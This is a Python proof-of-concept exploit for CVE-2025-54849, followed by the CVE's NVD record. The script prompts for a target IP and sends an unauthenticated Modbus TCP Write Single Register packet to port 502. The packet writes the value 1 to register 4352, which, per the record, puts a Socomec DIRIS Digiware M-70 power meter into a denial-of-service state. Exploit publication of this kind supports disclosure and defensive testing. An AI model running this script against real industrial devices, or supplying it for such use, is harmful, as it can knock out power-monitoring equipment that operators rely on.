CVE-2025-54849

import socket import struct def send_modbus_dos_poc(target_ip, target_port=502): """ CVE-2025-54849 PoC - Modbus Write Single Register DoS Target: Socomec DIRIS Digiware M-70 Description: Sending function code 6 with value 1 to register 4352 changes Modbus address to 15, causing DoS condition """ # Modbus TCP Header (MBAP) transaction_id = 0x0001 protocol_id = 0x0000 length = 0x0006 # Unit ID (1) + Function Code (1) + Register Address (2) + Value (2) unit_id = 0x01 # Function Code 6: Write Single Register function_code = 0x06 # Target register: 4352 (0x1100) register_address = 0x1100 # 4352 in hex # Value to write: 1 (causes address change to 15) write_value = 0x0001 # Build Modbus TCP packet mbap = struct.pack('>HHHB', transaction_id, protocol_id, length, unit_id) pdu = struct.pack('>BBHH', function_code, 0x00, register_address, write_value) packet = mbap + pdu try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print(f"[+] PoC packet sent to {target_ip}:{target_port}") print(f"[+] Function Code: 6 (Write Single Register)") print(f"[+] Target Register: 4352 (0x1100)") print(f"[+] Write Value: 1") print(f"[+] This will change Modbus address to 15, causing DoS") response = sock.recv(1024) if response: print(f"[+] Received response: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = input("Enter target IP: ") send_modbus_dos_poc(target)

{"cve": {"id": "CVE-2025-54849", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:53.900", "lastModified": "2025-12-08T19:23:54.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in the Modbus TCP and Modbus RTU over TCP functionality of Socomec DIRIS Digiware M-70 1.6.9. A specially crafted series of network requests can lead to a denial of service. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.An attacker can trigger this denial-of-service condition by sending a single Modbus TCP message to port 502 using the Write Single Register function code (6) to write the value 1 to register 4352. This action changes the Modbus address to 15. After this message is sent, the device will be in a denial-of-service state."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:socomec:diris_digiware_m-70_firmware:1.6.9:*:*:*:*:*:*:*", "matchCriteriaId": "741E83B6-F217-46E7-9E3A-8E446250C785"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:socomec:diris_digiware_m-70:-:*:*:*:*:*:*:*", "matchCriteriaId": "76CAA8C6-29FD-40F3-9702-790CD73F3052"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2248", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}